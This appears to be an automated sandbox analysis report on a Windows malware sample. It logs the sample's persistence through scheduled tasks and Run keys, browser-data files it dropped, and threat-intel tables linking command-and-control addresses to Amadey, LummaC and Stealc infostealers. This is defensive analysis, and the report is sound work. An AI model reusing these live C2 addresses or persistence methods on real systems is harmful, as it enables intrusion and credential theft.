Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
05:20:32	API Interceptor	164x Sleep call for process: file.exe modified
05:21:01	API Interceptor	12850280x Sleep call for process: skotes.exe modified
05:21:05	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
05:21:14	API Interceptor	10x Sleep call for process: powershell.exe modified
05:21:18	API Interceptor	2x Sleep call for process: WerFault.exe modified
05:21:45	API Interceptor	4017759x Sleep call for process: explorer.exe modified
05:21:50	API Interceptor	95x Sleep call for process: 5467ed4ac5.exe modified
05:21:58	API Interceptor	2392776x Sleep call for process: bc330fc673.exe modified
05:22:09	API Interceptor	1577165x Sleep call for process: c8297318cd.exe modified
11:20:54	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
11:21:13	Task Scheduler	Run new task: MicrosoftEdgeUpdateTaskMachineCoreSC path: C:\Users\user\AppData\Roaming\MicrosoftEdgeUpdateTaskMachineCoreSC.exe
11:21:51	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 5467ed4ac5.exe C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe
11:21:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e6f3e13d62.exe C:\Users\user\AppData\Local\Temp\1011270001\e6f3e13d62.exe
11:22:07	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 877defb7e2.exe C:\Users\user\AppData\Local\Temp\1011271001\877defb7e2.exe
11:22:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run af6718da11.exe C:\Users\user\AppData\Local\Temp\1011272001\af6718da11.exe
11:22:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 5467ed4ac5.exe C:\Users\user\AppData\Local\Temp\1011269001\5467ed4ac5.exe
11:22:31	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e6f3e13d62.exe C:\Users\user\AppData\Local\Temp\1011270001\e6f3e13d62.exe
11:22:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 877defb7e2.exe C:\Users\user\AppData\Local\Temp\1011271001\877defb7e2.exe
11:22:48	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run af6718da11.exe C:\Users\user\AppData\Local\Temp\1011272001\af6718da11.exe
11:23:01	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe

LLM Input / Output

Input	Output
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "Yes", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=5467ed4ac5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The URL 'learn.microsoft.com' is a subdomain of 'microsoft.com', which is the legitimate domain for Microsoft.", "Microsoft is a well-known brand with a strong online presence.", "The URL does not contain any suspicious elements such as misspellings, extra characters, or unusual domain extensions.", "The subdomain 'learn' is consistent with Microsoft's branding for educational or documentation purposes." ], "riskscore": 1}
URL: learn.microsoft.com Brands: Microsoft Input Fields: unknown

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Cryptbot	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
9.9.9.9	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer	Browse
	Zoom.exe	Get hash	malicious	Unknown	Browse
	Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Get hash	malicious	Unknown	Browse
	pdfguruhub.msi	Get hash	malicious	Unknown	Browse
	ACHAT DE 2 IMMEUBLES.pdf	Get hash	malicious	Unknown	Browse
	allpdfpro.msi	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	Unknown	Browse
	Setup.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, XWorm	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
atten-supporse.biz	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	file.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	tyhkamwdmrg.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
bg.microsoft.map.fastly.net	Payment20241118T1733050.pptx	Get hash	malicious	Unknown	Browse	199.232.210.172
	phish_Chain Iq.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	4p3zfb9f9587t1tf1sy07i95oemqekou.doc.LNK.lnk	Get hash	malicious	Unknown	Browse	199.232.210.172
	file.exe	Get hash	malicious	MicroClip	Browse	199.232.214.172
	file.exe	Get hash	malicious	MicroClip	Browse	199.232.210.172
	Finalize_Agreement_DocuSign.pdf	Get hash	malicious	Captcha Phish	Browse	199.232.210.172
	pevusijurole.pdf	Get hash	malicious	PDFPhish	Browse	199.232.214.172
	11_SSTML-13682 - ZNZFAB.pdf.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	11_SSTML-13682 - ZNZFAB.pdf.exe	Get hash	malicious	FormBook	Browse	199.232.214.172
	173312131497fead2ebdffba48e639d886af98a7e28613c1999208e8d7a719ebfa8a8c2278190.dat-decoded.exe	Get hash	malicious	FormBook	Browse	199.232.210.172
play.google.com	https://nischatalks.lt.acemlna.com/Prod/link-tracker?redirectUrl=aHR0cHMlM0ElMkYlMkZkZmwwLnVzJTJGcyUyRmM0MTJmMDEzJTNGZW0lM0RkaWxpcC5tYXRoZXclNDBjYXNhLmdvdi5hdQ==&sig=F28J3VAL72g8YRkFLWUvhqFSBag5sKdkQKwMeDdTvDbT&iat=1732885424&a=%7C%7C226329423%7C%7C&account=nischatalks.activehosted.com&email=4Tp4HabxiWO4pvz6roguRO3SDqvOBrDfqzRC3S4QX3U%3D&s=075f541518f72bd1137bd07bd6bf86a5&i=444A374A1A2736	Get hash	malicious	Unknown	Browse	172.217.19.206
	http://svchorst.com	Get hash	malicious	Unknown	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Stealc	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	file.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.19.206
	https://simplebooklet.com	Get hash	malicious	Unknown	Browse	172.217.19.238

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
QUAD9-AS-1US	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, LummaC Stealer	Browse	9.9.9.9
	Zoom.exe	Get hash	malicious	Unknown	Browse	9.9.9.9
	Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe	Get hash	malicious	Unknown	Browse	9.9.9.9
	pdfguruhub.msi	Get hash	malicious	Unknown	Browse	9.9.9.9
	ACHAT DE 2 IMMEUBLES.pdf	Get hash	malicious	Unknown	Browse	9.9.9.9
	allpdfpro.msi	Get hash	malicious	Unknown	Browse	9.9.9.9
	rPO3799039985.exe	Get hash	malicious	Remcos, GuLoader	Browse	149.112.112.112
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	9.9.9.9
	Setup.exe	Get hash	malicious	Unknown	Browse	9.9.9.9
	Setup.exe	Get hash	malicious	Unknown	Browse	9.9.9.9
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Discord Token Stealer, LummaC Stealer, Nymaim, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3036000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08231524779339361
Encrypted:	false
SSDEEP:	12:DQANJfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQANJff32mNVpP965Ra8KN0MG/lO
MD5:	886A5F9308577FDF19279AA582D0024D
SHA1:	CDCCC11837CDDB657EB0EF6A01202451ECDF4992
SHA-256:	BA7EB45B7E9B6990BC63BE63836B74FA2CCB64DCD0C199056B6AE37B1AE735F2
SHA-512:	FF0692E52368708B36C161A4BFA91EE01CCA1B86F66666F7FC4979C6792D598FF7720A9FAF258F61439DAD61DB55C50D992E99769B1E4D321EC5B98230684BC5
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................S`.....}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BKEHDGDGHCBGCAKFIIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1046), with CRLF line terminators
Category:	dropped
Size (bytes):	11923
Entropy (8bit):	5.2717384530749305
Encrypted:	false
SSDEEP:	192:58IXrFgMqaxu7aWUBp9PXaUhK+74NMre6w/hUiCw8TPD:geuajQthyre6wZCwGD
MD5:	59AF94B2C60EC3837D8D67F15C1C4716
SHA1:	204BADE84E385B4A87F5788B822AD60E743D891D
SHA-256:	4306770AFEFFF70ABB01C6E4CEA53C280917FF1458CF679C6745028BC7D36980
SHA-512:	3D9CEF70CE911AB4C053294BECE18F503D380A6FE4762764074988356CD6E2413268ED7F34C2225F1E78E917454318977CE6C88B6D2E0BF978367A426D358881
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.installation.timestamp", "132737585657068823");..user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "29abcd1e-1a70-48c8-93bf-45f85e2f4118");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.previous.reasons", "[\"app.update.background.enabled=false\"]");..user_pref("app.update.lastUpdateTime.addon-background-update-timer", 0);..user_pref("app.update.lastUpdateTime.background-update-timer", 0);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 1629285077);..user_pref("app.update.l

C:\ProgramData\CAEHJEBKFCAKKFIEHDBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 3, database pages 27, 1st free page 7, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.7310370201569906
Encrypted:	false
SSDEEP:	96:qsvKLyeymO9K3PlGNxotxPUCbn8MouON3n:q86PlGNxss27e
MD5:	A802F475CA2D00B16F45FEA728F2247C
SHA1:	AF57C02DA108CFA0D7323252126CC87D7B608786
SHA-256:	156ADDC0B949718CF518720E5774557B134CCF769A15E0413ABC257C80E58684
SHA-512:	275704B399A1C236C730F4702B57320BD7F034DC234B7A820452F8C650334233BD6830798446664F133BA4C77AA2F91E66E901CE8A11BD8575C2CD08AB9BE98F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................S`....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCBAEHCA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3045002, page size 2048, file counter 14, database pages 65, cookie 0x57, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	135168
Entropy (8bit):	1.0873605234887023
Encrypted:	false
SSDEEP:	192:yD1DgPn0BkoOQuA5bUWDX6+7VuP7Ewvjd:A1cPn0BktQuubrt7VuP7Ewrd
MD5:	5B01CD9FA62FDF35D1A4587F2676CA31
SHA1:	25BBFAC890114F4ECE0BF818F504FFE6102004B8
SHA-256:	74D3D72E8CEB233D400747C902F3331B3824902C81B6EF8AA3D7AC85A7A3F095
SHA-512:	A565038CDF3C69621F31D8DE4558F74375AADF1DC881C2C82A877C105437F7F9B1D97D1652E98566984EFCA8F1C39224B40B450C742610395A265D81362254DC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......A...........W......................................................v............A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDHJEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3036000, page size 2048, file counter 7, database pages 59, cookie 0x52, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	122880
Entropy (8bit):	1.1414673161713362
Encrypted:	false
SSDEEP:	192:8t4nKTjebGA7j9p/XH9eQ3KvphCNKRmquPWTPVusE6:8t4n/9p/39J6hwNKRmqu+7VusE
MD5:	24937DB267D854F3EF5453E2E54EA21B
SHA1:	F519A77A669D9F706D5D537A203B7245368D40CE
SHA-256:	369B8B4465FB5FD7F12258C7DEA941F9CCA9A90C78EE195DF5E02028686869ED
SHA-512:	AED398C6781300E732105E541A6FDD762F04E0EC5A5893762BFDCBDD442348FAF9CB2711EFDC4808D4675A8E48F77BEAB3A0D6BC635B778D47B2DADC9B6086A3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIEBAKEHDHCAKEBFBKEGCGIEBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 57, last written using SQLite version 3036000, page size 32768, writer version 2, read version 2, file counter 2, database pages 41, cookie 0x21, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.035631294721445904
Encrypted:	false
SSDEEP:	192:bZjnkYjcoBMcygNDI7oslTYBIQg6Ism2Vspvp0:bZTVTBMcygNDuT1l62p
MD5:	59E4A8110FA2BCC012E341B93E96E93D
SHA1:	EE08810B0CE857F01170C08A24B9D438B64D577D
SHA-256:	3A85F2FC349A7E431EA6F1FC4568C99C1918D478AD6FE6445D560EF00395DB40
SHA-512:	2AD00B0FCBE4FC37ECAA68C16BE32A904D682A23ACF5B39BCECF5DC280E23933FDD5A0D2A92A45F2C77618CA7466334AFEB1EAA7EA07BF4E043282B31039E8FF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......)...........!...................9..................................S`....(e......}$\|.\|N{.{sz.z{z.yAx.x!w.v.wZu7tNt.s.s\r.rJq.p.q.p.o.o.o.m.mal&k.k.g.g3f.f.e.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKECGDBFCBKFIDHIDHDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3045002, page size 2048, file counter 4, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.86528072116055
Encrypted:	false
SSDEEP:	96:kTN7KLWlGxdKmtZeympbn8MouB6w9f/rrGMa:qVlGxdKN7Iw9fj
MD5:	8CC409C8658C3F05143C1484A1719879
SHA1:	909CDE14664C0E5F943764895E0A9DFEC7831FF5
SHA-256:	BC69C3518DA2ABC8904F314F078D9672BAF3B840E09FD2B2E95D4B07A03A85A4
SHA-512:	55D8923B6481ADF442817B7BAA50C36CBAD8DAC0EC600451813D29F4775DE519A06158A6233E61635CD0ED862E60AC7F50C75556C4E89D583D8A8A4299F1808F
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................v.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_HRFuUub.exe_66537a43516f9e23b334e4113367fdd73428f8_efb3b7b4_c5b98092-5a6a-4d46-a088-76d438260c0f\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9675070293562944
Encrypted:	false
SSDEEP:	192:nLU5JPspANmBUWqa2x7Du76bfAIO8E2d:IvspA8BUWqasDu76bfAIO8E2
MD5:	9A7B997A607F83035C979F8048FAB599
SHA1:	CEF84F75E4FE9CE4AF32280B867D495527F3FB05
SHA-256:	12176CDCB88DE9E49CA7DD26BB9DAE434859B87D5ED468E6FA6C925D0099AF74
SHA-512:	85EFC61BD91D45DE4BD8BA93D444C95E449C5F747741553946C2EEA7191F6EDE3A7AC8A02C801ACF552D440CDD166FB8E041D9FEDE34BDDB0E46E5FA036B01A8
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.6.0.8.4.7.6.1.3.6.3.3.9.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.6.0.8.4.7.6.4.9.5.6.0.7.5.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.5.b.9.8.0.9.2.-.5.a.6.a.-.4.d.4.6.-.a.0.8.8.-.7.6.d.4.3.8.2.6.0.c.0.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.4.e.2.e.4.1.c.-.f.a.9.c.-.4.6.c.5.-.b.f.9.d.-.2.4.f.0.2.a.8.6.b.d.7.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.H.R.F.u.U.u.b...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.A.v.a.R.u.b.y.X.e.n.i.a...e.x.e.b.L.y.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.2.6.f.4.-.0.0.0.1.-.0.0.5.0.-.4.c.c.a.-.4.9.e.b.a.3.4.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.5.6.8.e.7.c.1.3.5.8.7.6.f.a.8.3.7.a.9.a.e.1.3.6.3.5.1.2.3.5.0.0.0.0.0.0.0.0.0.!.0.0.0.0.d.2.f.6.6.8.3.7.8.8.4.d.6.d.6.5.d.f.e.2.1.3.7.2.5.0.1.c.c.7.b.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_tpZOod0.exe_61d2bae4e9cfcf129995c19c8c3c26ff13bb2516_8e09634d_a28018b4-ae8d-44a9-9a41-7203fb1c3fcf\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9662481014846392
Encrypted:	false
SSDEEP:	96:5JFyFUiaZrsXX2Xg7BfrvXIxcQvc6QcEscw3v+BHUHZ0ownOgHkEwH3dEFYA4o1I:nYq/ZrcmBUWCa+x7Du76bfAIO8El
MD5:	C8814E89FC10AA0E5705FCB732F93FCF
SHA1:	53BF0CA2FF25C78CABFD0A0BE9B4B6B7F11570C1
SHA-256:	43B8695CB12A16CAB0E12FDE5E8B5761A2485836F18D0F933EC502001CEA6A3F
SHA-512:	D7943C94BCD80EA8B7851D3FFD0231A952BB7F42DEE5A74293BE0268AFDD84B5C2B721D11D02DA6F2E4F4BF09FB9425FC49D294B986CC9C269FFC12831676748
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.7.6.0.8.4.8.0.7.0.0.4.2.8.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.7.6.0.8.4.8.0.9.9.7.2.5.1.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.2.8.0.1.8.b.4.-.a.e.8.d.-.4.4.a.9.-.9.a.4.1.-.7.2.0.3.f.b.1.c.3.f.c.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.a.3.c.6.7.b.b.-.3.6.9.f.-.4.e.f.f.-.b.5.1.c.-.7.a.b.7.6.c.f.4.c.2.f.8.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.t.p.Z.O.o.d.0...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.A.v.a.R.u.b.y.X.e.n.i.a...e.x.e.b.L.y.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.2.6.c.8.-.0.0.0.1.-.0.0.5.0.-.d.6.a.4.-.2.0.e.e.a.3.4.4.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.1.0.f.4.7.8.2.f.0.a.7.a.f.8.4.f.3.1.a.4.5.d.1.8.0.1.e.c.3.6.7.0.0.0.0.0.0.0.0.!.0.0.0.0.d.2.f.6.6.8.3.7.8.8.4.d.6.d.6.5.d.f.e.2.1.3.7.2.5.0.1.c.c.7.b.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD172.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Mon Dec 2 10:21:16 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	173184
Entropy (8bit):	3.3961934716762947
Encrypted:	false
SSDEEP:	1536:f85rpguPpN4uE2aOGbp7LTgeWaCAa/BdIupsuKZn2i26O:fC5/4uEqGt7LTgeWj5hpZMn2V6
MD5:	7DC2FB90A397F703040972924358993E
SHA1:	7A5C030192981E670F82434BC3A736A8885D2CF5
SHA-256:	A725BED3CA64A55FBADC979C3932C641F87846B93B2739FF7382C3465123FCD5
SHA-512:	F4430F07EF3C54A68A69DCD2C292751BFFB868A548A246243404BCB73C7F1B8AED4761AB90C1FD3748B51B3E928E1918A54CAD6E1BB4FB4E27C0B760AB82876A
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .........Mg........................l...........<...d.......t....C..........`.......8...........T............+...x......................................................................................................bJ......$.......GenuineIntel...........T........&....Mg.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD20F.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8268
Entropy (8bit):	3.6924798977388913
Encrypted:	false
SSDEEP:	192:R9l7lZNi3o6X6YqtE6Yul3gmfmC4pry89bi3sfaUWWm:R9lnNiY6X6YD6Yul3gmfmti8fJu
MD5:	A50E1B625F67CDF8911BA6C45561A8F4
SHA1:	EDC4A2F41BFA2FECD2CD567FE676C18D702D008C
SHA-256:	7E30CA8629BE9A6E438491A908DB894F005DFD7BF6EF62742E85CF8D0B35EFDC
